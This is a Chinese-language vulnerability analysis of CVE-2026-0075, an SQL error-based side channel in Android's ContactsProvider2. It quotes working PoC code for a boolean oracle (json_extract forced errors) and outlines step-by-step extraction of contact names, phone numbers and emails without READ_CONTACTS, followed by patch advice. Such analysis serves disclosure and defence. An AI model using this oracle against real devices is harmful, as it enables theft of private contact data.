一、漏洞描述
CVE-2026-0075 是 Android 通讯录提供方 ContactsProvider2 的本地漏洞,近期POC已经被公开了,通过对poc的分析简单写了这篇文章。
| |
|---|
| |
|---|
| Android ContactsProvider2 |
|---|
| |
|---|
| 2026-06-05 补丁级别;AOSP commit bb9f36b3ff6d42136afb61d527e1e8f67242fe32 |
|---|
| |
|---|
| 获得通讯录 data/<id> 读授权;不依赖 READ_CONTACTS |
|---|
| GitHub qm4rs/CVE-2026-0075 |
|---|
CVE-2026-0075漏洞是本地信息泄露,利用之前需要先获得通讯录数据 URI 的读授权,PoC 仅用于受控环境,结果与设备构建及补丁级别相关,不构成任意应用直接读取通讯录的通用条件。
二、漏洞原理
漏洞产生的真正原因是查询条件未参数化导致错误反馈。 ContactsProvider2 将调用字符传入的 selection 拼入自身 SQL 执行,权限检查仅覆盖应用直接查询,SQL 内嵌子查询可访问 data、mimetypes 等底层表。未声明 READ_CONTACTS 的调用方通过以下方式获得判定反馈。
以下贴上PoC的部分关键代码:
private static String oracleSelection(String predicate) { return "(CASE WHEN (" + predicate + ") THEN json_extract(char(123), char(36)) ELSE 1 END)";}
char(123) 为 '{',char(36) 为 '$'。条件为真时执行 json_extract('{','$'),JSON 解析失败抛出 SQLiteException;条件为假时返回 1,查询正常。判定逻辑:
private boolean rawOraclePredicate(String predicate) { try { cursor = getContentResolver().query(grantedDataUri, new String[] {"_id"}, oracleSelection(predicate), null, "_id ASC"); cursor.getCount(); return false; // 未抛异常,条件为假 } catch (android.database.sqlite.SQLiteException e) { return true; // 抛出异常,条件为真 }}
查询条件里用子查询直接访问通讯录底层表,示例:
(SELECT d.data1 FROM data d WHERE d._id=5)
data1 为通讯录数据正文,姓名、电话、邮箱均存储于 data 表。抽取流程分四步:
- 以 max(_id) 二分确定 data 表行号上限。
- 以 unicode(substr(...)) 将字符码点逐位二分,逐字符还原字段内容。
- 按 raw_contact_id 归组,重建联系人记录。
三、修复建议
官方已经在2260605发布安全补丁 。AOSP commit bb9f36b3ff6d42136afb61d527e1e8f67242fe32,标题 Fix side channel attacks in CP2:对未声明 READ_CONTACTS 的调用方去除 JSON 相关 SQLiteException 错误细节,并把查询结果真正取出来的环节挪进异常处理路径。
避免向不信任应用传递 content:// 读授权;系统与 ROM 厂商跟进 ContactsProvider2 修复。